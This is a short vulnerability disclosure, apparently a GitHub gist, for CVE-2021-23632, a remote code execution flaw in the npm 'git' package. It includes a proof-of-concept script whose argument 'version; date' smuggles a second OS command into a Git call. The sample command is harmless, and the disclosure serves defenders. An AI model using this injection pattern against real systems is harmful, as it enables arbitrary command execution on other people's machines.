Skip to content

Instantly share code, notes, and snippets.

@SkypLabs
Last active April 7, 2022 17:21
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save SkypLabs/a7451323a7f9ad0c17a14193ddc49e86 to your computer and use it in GitHub Desktop.
Save SkypLabs/a7451323a7f9ad0c17a14193ddc49e86 to your computer and use it in GitHub Desktop.
CVE-2021-23632

Overview

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to missing sanitisation in the Git.git method, which allows execution of OS commands rather than just Git commands.

Steps to Reproduce

  1. Create a file named exploit.js with the following content:

    var Git = require("git").Git;
    
    var repo = new Git("repo-test");
    
    var user_input = "version; date";
    
    repo.git(user_input, function(err, result) {
      console.log(result);
    })
  2. In the same directory as exploit.js, run npm install git.

  3. Run exploit.js: node exploit.js.

You should see the outputs of both the git version and date command-lines. Note that the repo-test Git repository does not need to be present to make this PoC work.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment